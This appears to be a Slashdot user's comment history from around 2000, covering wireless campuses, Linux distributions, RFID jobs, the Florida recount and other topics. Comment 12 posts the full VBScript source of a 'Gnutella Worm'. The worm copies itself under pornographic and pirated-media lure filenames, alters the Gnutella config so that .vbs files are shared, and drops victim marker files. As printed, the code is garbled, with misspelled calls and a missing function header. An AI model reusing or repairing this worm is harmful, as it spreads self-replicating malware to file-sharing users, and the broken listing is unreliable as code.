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  1. I say... on Gaming Companies Being Sued Over Columbine · · Score: 2

    Lets sue the parents for not doing their job and letting it happen. Hell, what about the emotion stress that was caused to us for seeing it and the scare that something could happen to our children in schools.

  2. Re:Been there, done that.... on Georgia Tech Implements Wireless Campus Net · · Score: 1

    Drexel has had a wireless network for a while also but in September when they officially announced it, it covers a Metropolitan Area Network to include MCP Hahnemann School of Medicine in East Falls and MCP Hahnemann University in Center City, both of which Drexel operates. They network requires a 128-bit encrypted wireless Ethernet adapter that must be registered with Drexel's IT department in order to access the network. The network gets speeds up to 2.5 Gbps and will eventually be connected directly to the Internet2 which the dorms are already connected to. That was all explained in the link I provided for more information....

  3. Been there, done that.... on Georgia Tech Implements Wireless Campus Net · · Score: 1

    I go to Drexel University and they official implemented a wireless network in September of 2000. Go here for more info:
    http://inside.drexel.edu/networking/

  4. My Opinion.. on The Question Of Too Many Linux Distributions · · Score: 1

    I have been following the linux movement for some time but must admit that I am still a Windows user (thank god for 2000 because I couldnt take much more of 98). I am studying to be an engineer so I dont have much time to play with the software/programming side of computers. I think that there are too many distros but that is a good thing. One thing that lacks though, is a really user friendly distro just for desktop users. I tried many times to convert to linux but don't have the time, or know how to get it done. My computer is mainly intel architect and I have always had problems when I installed the different distros of linux. I am looking for the day when I can install linux easily without doing too much research and use it just as a desktop OS.

  5. Sony Home Theater on What Audio System Powers Your Home Theater? · · Score: 1

    Since Sony seems to be a popular choice, I would have to recommend the HTD-DW820. It includes a Sony receiver (with optical inputs) and six speaker surround sound for a total of 550 Watts of enjoyment. I recently got one of these babies and would highly recommend it for its size, price and quality.

  6. The Answer is Simple... on Statistics, Elections, Frustration · · Score: 1

    To make things far for all parties, and to stop the confusion, there should just be a re-vote. Everyone in Florida should have to re-vote for the election. Even further you could have a emergency debate for both candidates for one more chance to win votes. Limit this just to Florida since it is the deciding factor. This way it is fair and both parties can't complain. I think that however loses is going to complain about something that was unfair. Just my thoughts...

  7. Re:Bad Idea on Cheap, Paper RF ID Tags To Replace Barcodes? · · Score: 1

    Yes, businesses are out to make money. The ridiculous examples in your previous post also led to depressions and economic hardships. Some people are unfortunate where they only can work low-end jobs, do to mental and or physical reasons. Their lives are affected when they loss jobs to cutbacks. What I am trying to say is, lets try and use technology to save jobs not reduce them.

  8. Re:Bad Idea on Cheap, Paper RF ID Tags To Replace Barcodes? · · Score: 1

    Despite your ignorance, I hope you are never affected by cutbacks. Right now the unemployment is the lowest in years, and are economy is doing great. Why? For one the web has generated lots of tech jobs. People are leaving lesser jobs for higher paying jobs creating a demand for employment everywhere.

    Start cutting jobs and things can change. Is there anything wrong with making profits while still keeping job positions?

  9. Bad Idea on Cheap, Paper RF ID Tags To Replace Barcodes? · · Score: 2

    I don't see the good side with using this. With these there will no longer be lots of jobs in the food industry for inventory of products at stores. Yes the company may turn profits but it doesn't always have to use the model of costing employees jobs. I personally like to see companies turn profit and always hiring for all types of jobs. This helps the economy plus lowers unemployment. They can hire someone to try and reduce theft if it will save money in the millions. Granted they won't save as much but at least they are keeping employees.

  10. Re:Buckyballs on Fun With Nanotechnology Advances · · Score: 1

    Bucky Balls is used because it is alot easier to pronounance than Buckministerfullerine. Also check out this, http://www.nidlink.com/~jfromm/bucky/bucky.htm for more info on Bucky Balls

  11. Re:Profits on Indrema's John Gildred Answers Your Questions · · Score: 2

    I think he was implying that the console will be expensive since software will be open source. He really didn't mention price at all. Also, he said they are targeting hard-core gamers who will put money into the console, not everyday consumer price-watchers.

  12. CODE... on Gnutella VBS Worm · · Score: 1

    Option Explicit
    Dim CurrentFilename, CurrentGeneration, InfectionDate
    CurrentFilename = "ASF Compressor (No quality loss).vbs"
    CurrentGeneration = 14
    InfectionDate = "6/2/2000, 3:51:46 AM"

    '
    const ProgramName = "Gnutella Worm v1.1"
    const ProgramDate = "2000 May 21. I think that's the first Gnutella Worm."
    '
    '
    ' Watching CurrentGeneration will be quite interesting. I wonder if
    ' anyone ever studied this compared with real viral spreading.
    '
    ' 42
    '
    ' History
    '
    ' 1.1 o Now copies itself to a list of target keyword instead of just current filename
    ' o Fixed a but with Ini path... (1.0 didn't work at all. he he.)
    '
    ' 1.0 o Initial Release
    '

    ' Behavior Control Parameters
    Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename
    NewFilenames = Array(ProgramName & ".vbs", "Jenna Jameson movie listing.vbs", "Pamela Anderson movie listing.vbs", "Asia Carerra movie listing.vbs", "xxx FTP movie listing.vbs", "ASF Compressor (No quality loss).vbs", "collegesex.vbs", "Gladiator.vbs", "Battlefield Earth.vbs", "Evangelion complete episodes scripts.vbs", "Scan Master checklist.vbs", "How to eat pussy.vbs", "Alicia Silverstone.vbs", "Pearl Jam.vbs", "Mp3 compressor (Half the size but same quality).vbs", "Napster Metallica Crack.vbs", "Santana.vbs", "NSync.vbs", "Nirvana.mp3.vbs", "Shania Twain.mp3.vbs", "Jesus loves you.vbs", "Gnutella upgrade.vbs", "OFFICIAL Gnutella Option Pack.vbs")
    GnutellaPath = "C:\Program Files\gnutella\"
    GnutellaIni = GnutellaPath + "gnutella.ini"
    VictimFilename = "Yet another GWV! " ' (Gnutella Worm Victim :)

    Const ForReading = 1
    Const ForWriting = 2

    Dim fso
    Dim SourceFile, DestinationFile
    Dim NewFilename
    Dim VictimName

    Function ModifyAndCopy
    ' Change Header data (New name, Generation number, any info passed down to the next Generation)

    DestinationFile.WriteLne(SourceFile.ReadLne)
    DestinationFile.WriteLne(SourceFile.ReadLne)

    DestinationFile.WriteLne("CurrentFilename = """ & NewFilenames & """")

    DestinationFile.WriteLne("CurrentGeneration = " & (CurrentGeneration + 1))

    DestinationFile.WriteLne("InfectionDate = """ & Date & ", " & Time & """")

    SourceFile.ReadLne ' Skip the ones we just wrote changed.
    SourceFile.Readlne
    SourceFile.Readlne

    ' Copy the rest of the file as-is
    Do While Not SourceFile.AtEndOfStream
    DestinationFile.WriteLine(SourceFile.ReadLine)
    Loop
    End Function

    Dim IniFile, IniFileDest
    Dim Line

    Set IniFile = fso.OpenTextFile(GnutellaIni, ForReading)
    Set IniFileDest = fso.CreateTextFile(GnutellaIni + "_", ForWriting)

    Do While Not IniFile.AtEndOfStream
    Line = IniFile.ReadLine

    if Left(Line, 8) = "extlist=" Then
    IniFileDest.WriteLine(Line + ";vbs")
    ElseIf Left(Line, 13) = "databasepath=" Then
    IniFileDest.WriteLine(Line + ";" + GnutellaPath)
    ElseIf Left(Line, 12) = "clientid128=" Then

    IniFileDest.WriteLine(Line)
    Else
    IniFileDest.WriteLine(Line)
    End If
    Loop

    IniFileDest.Close
    IniFile.Close

    fso.DeleteFile(GnutellaIni)
    fso.MoveFile GnutellaIni + "_", GnutellaIni

    End Function

    Function SignalVictim
    Dim Victim
    Dim Line
    Dim SignatureFilename

    SignatureFilename = GnutellaPath & VictimFilename & VictimName & ".zip"

    Set Victim = fso.CreateTextFile(SignatureFilename, ForWriting)

    Victim.WriteLne("Generation #: " & CurrentGeneration)
    Victim.WriteLne("Victim ID: " & VictimName)
    Victim.Writene("Infection date: " & InfectionDate)

    Victim.WriteLine("If I was a naughty boy, I could use scripting to get name, email, whatever file I want.")

    Victim.Close
    End Function

    Set fso = CreateObject("Scripting.FleSystemOjbject")

    If fso.FolderExists(GnutellaPath) Then
    For Each NewFilename in NewFilenames

    Set DestinationFile = fso.CreateTextFile(GnutellaPath + NewFilename, True)
    Set SourceFile = fso.OpenTextFile(CurrentFilename, ForReading)

    ModifyAndCopy
    ProcessIni
    SignalVictim

    SourceFile.Close
    DestinationFile.Close

    End If

    fso.DeleteFile(CurrentFilename)

  13. Napster Bad! on An MP3 Update · · Score: 1
  14. Re:Purpose...? on IBM Creates New Fastest Beowulf Cluster · · Score: 1

    "This low-cost supercomputer will allow researchers and developers access to computational power they previously could not afford," according to this yahoo story .

    Jeff

  15. Notice on How many hours did you work this week? · · Score: 1

    The goverment's work average for service is 32.9 hrs. They never said full-time or part-time.

    Most likely it is both averaged together, but I am sure that most full-time workers work anywhere between 40-60 hrs average.

  16. hot sync? on Brainstorming New Uses for a Mobile Processor · · Score: 1

    I don't think we need to worry about where mobile computing is going now, per se, but how it while be compatible and sync. with every other computer type product we own. Especially when many people already manage multiple e-mail accounts and things like the such.

    Just my 2-Cents

  17. More prizes... on Andover.Net and VA Linux Join Together · · Score: 1

    Does this mean you will give away workstations now? :)

  18. Animal Crackers on AI Monkey Robot · · Score: 1

    Who's the monkey is now....

  19. Re:TMA's on BSD BOF at LinuxWorld · · Score: 1

    Something that helps me out is everything.slashdot.org.

  20. Re:Disappointed... on Replacing SAT with LEGOs · · Score: 1

    All true, but this is almost reverse-disscrimation against others. There are people that are very intellectual and creative, it's just they don't do well on tests. This test should be open to everyone.

    As for the statistics for lower test scores by minorities; a suggestion that might help, may be give them extra help and teaching earlier in their education to help them prepare for these tests, not to make 'so-called' different tests that will help them pass by standard tests(It lends me to think that they are making a loop hole just for ethic races).

  21. Disappointed... on Replacing SAT with LEGOs · · Score: 2

    I am a little disappointed that colleges would only let 'disadvantaged and ethic' students participate. Are they implying that they are not as smart as others.

    Truthfully, it doesn't matter who you are, some people are intelligent but can't take tests like the SAT's and such.

    I hope that this will soon be available to all students and adapted by more colleges.

  22. About Time! on Richard Stallman Calls for Amazon Boycott · · Score: 1

    About time everyone stops using the biggest and most known e-commerce sites. Personally I never shopped their or any of the huge sites like cdnow.com. Just because they are big and powerful doesn't mean they are the cheapest....

    damn the man, save the empire!

  23. Side Note.... on Human Chromosome 22 Mapped · · Score: 1

    I read an very interesting book in college last year called the Biotech Century about gene technology. I don't know much on the subject but this brought alot to my attention.

    I highly recommend this book if interested in knowing of what has been developed and patented and topics like the such in genetics: engineering and technology.

  24. Technology has always been.... on Americans and the 21st Century · · Score: 1

    The scary part of technology is not where it is going or what is to come of it. It's actaully what is already available and developed, just not publicly known and is hidden behind corporations.

  25. Explanations? on Reverse Time Could Explain Dark Matter · · Score: 1

    After reading this story, it states that, 'Schulman suggests that they may be relics from the far future. This possibility requires that the expanding Universe eventually starts to contract into a "big crunch". In such a situation, the so-called "thermodynamic arrow of time" may reverse during the contraction, creating order out of chaos--an idea first pro- posed by Thomas Gold of Cornell University. "Because of the opposite-running time, anyone around in this phase would actually see the contraction as an expansion," says Schulman.'

    Maybe this could help the explanantions of the big bang and expanding universe theories and how the universe actually came in existence. Or does it just go in a continuous loop of expanding and contacting. Any thoughts?